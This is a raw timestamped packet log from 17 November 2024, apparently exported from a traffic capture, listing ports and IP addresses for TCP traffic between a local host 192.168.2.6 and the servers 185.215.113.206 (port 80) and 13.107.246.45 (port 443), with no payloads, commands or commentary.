Nov 17, 2024 10:07:19.894486904 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.894486904 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.894512892 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.894551992 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.894551992 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.894567013 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.894609928 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.894618034 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.894653082 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.894660950 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.894686937 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.894721985 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.894721985 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.894721985 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.894753933 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.894785881 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.894788027 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.894799948 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.894823074 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.894824982 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.894860029 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.894891024 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.894902945 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.894902945 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.894926071 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.894958973 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.894973993 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.894973993 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.894993067 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.894999027 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.895026922 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.895045042 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.895061970 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.895096064 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.895102978 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.895102978 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.895133018 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.895138979 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.895165920 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.895200968 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.895205975 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.895205975 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.895229101 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.895232916 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.895267010 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.895277023 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.895299911 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.895339966 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.895339966 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.895356894 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.895390034 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.895400047 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.895426035 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.895458937 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.895462990 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.895462990 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.895494938 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.895499945 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.895524025 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.895545959 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.895555973 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.895585060 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.895590067 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.895622969 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.895632982 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.895632982 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.895658016 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.895674944 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.895689964 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.895698071 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.895724058 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.895757914 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.895773888 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.895773888 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.895792961 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.895800114 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.895827055 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.895859957 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.895868063 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.895868063 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.895894051 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.895927906 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.895939112 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.895939112 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.895967007 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.896003008 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.896024942 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.896024942 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.896035910 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.896070957 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.896076918 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.896076918 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.896106005 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.896123886 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.896157026 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.896187067 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.896187067 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.896192074 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.896219969 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.896236897 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.896236897 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.896255016 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.896291018 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.896305084 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.896336079 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.896339893 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.896375895 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.896378040 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.896378040 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.896410942 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.896429062 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.896445036 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.896451950 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.896477938 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.896513939 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.896521091 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.896521091 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.896543980 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.896579981 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.896591902 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.896591902 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.896615028 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.896621943 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.896647930 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.896683931 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.896693945 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.896693945 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.896784067 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.911422014 CET	443	49744	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:19.911582947 CET	443	49744	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:19.911710024 CET	49744	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:19.919416904 CET	443	49747	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:19.921480894 CET	49744	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:19.921505928 CET	443	49744	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:19.921525002 CET	49744	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:19.921535969 CET	443	49744	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:19.921880960 CET	49747	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:19.921894073 CET	443	49747	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:19.922467947 CET	49747	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:19.922475100 CET	443	49747	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:19.925147057 CET	49748	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:19.925163984 CET	443	49748	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:19.925250053 CET	49748	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:19.925323963 CET	49749	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:19.925411940 CET	443	49749	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:19.925477982 CET	49749	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:19.925668955 CET	49749	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:19.925705910 CET	443	49749	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:19.925945044 CET	49748	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:19.925961971 CET	443	49748	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:19.927063942 CET	49750	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:19.927074909 CET	443	49750	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:19.927138090 CET	49750	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:19.927357912 CET	49750	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:19.927372932 CET	443	49750	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:19.930469036 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.930550098 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.930577040 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.930607080 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.930641890 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.930649042 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.930649042 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.930721045 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.930747032 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.930779934 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.930799007 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.930815935 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.930849075 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.930849075 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.930850029 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.930885077 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.930927992 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.930927992 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.930937052 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.930970907 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.930983067 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.931014061 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.931021929 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.931057930 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.931073904 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.931087017 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.931128979 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.931128979 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.931143999 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.931201935 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.931241989 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.931241989 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.931252003 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.931299925 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.931304932 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.931353092 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.931372881 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.931411982 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.931427002 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.931457043 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.931474924 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.931499004 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.931510925 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.931561947 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.931562901 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.931591988 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.931607008 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.931643963 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.931678057 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.931685925 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.931685925 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.931735992 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.931775093 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.931775093 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.931788921 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.931823015 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.931857109 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.931859016 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.931859016 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.931889057 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.931910038 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.931931973 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.931940079 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.931968927 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.932002068 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.932013035 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.932013035 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.932053089 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.932064056 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.932084084 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.932104111 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.932135105 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.932147026 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.932171106 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.932203054 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.932213068 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.932214022 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.932240009 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.932290077 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.932290077 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.932291031 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.932328939 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.932354927 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.932358980 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.932393074 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.932393074 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.932393074 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.932432890 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.932434082 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.932482958 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.932513952 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.932531118 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.932533979 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.932568073 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.932610989 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.932610989 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.932619095 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.932662964 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.932668924 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.932703018 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.932734966 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.932748079 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.932748079 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.932780027 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.932796001 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.932851076 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.932862997 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.932889938 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.932934999 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.932934999 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.932940960 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.932976007 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.932987928 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.933008909 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.933024883 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.933043003 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.933074951 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.933084011 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.933084011 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.933113098 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.933130026 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.933141947 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.933178902 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.933177948 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.933195114 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.933213949 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.933228016 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.933247089 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.933253050 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.933281898 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.933310986 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.933314085 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.933330059 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.933346987 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.933377981 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.933383942 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.933383942 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.933409929 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.933443069 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.933451891 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.933453083 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.933475971 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.933479071 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.933509111 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.933542013 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.933557987 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.933557987 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.933578968 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.933612108 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.933620930 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.933620930 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.933648109 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.933682919 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.933682919 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.933682919 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.933716059 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.933723927 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.933748960 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.933784008 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.933785915 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.933785915 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.933815956 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.933849096 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.933856010 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.933856010 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.933877945 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.933911085 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.933921099 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.933921099 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.933944941 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.933974981 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.933978081 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.933999062 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.934012890 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.934046984 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.934053898 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.934053898 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.934081078 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.934088945 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.934115887 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.934130907 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.934150934 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.934185028 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:19.934190989 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:19.934190989 CET	49726	80	192.168.2.6	185.215.113.206
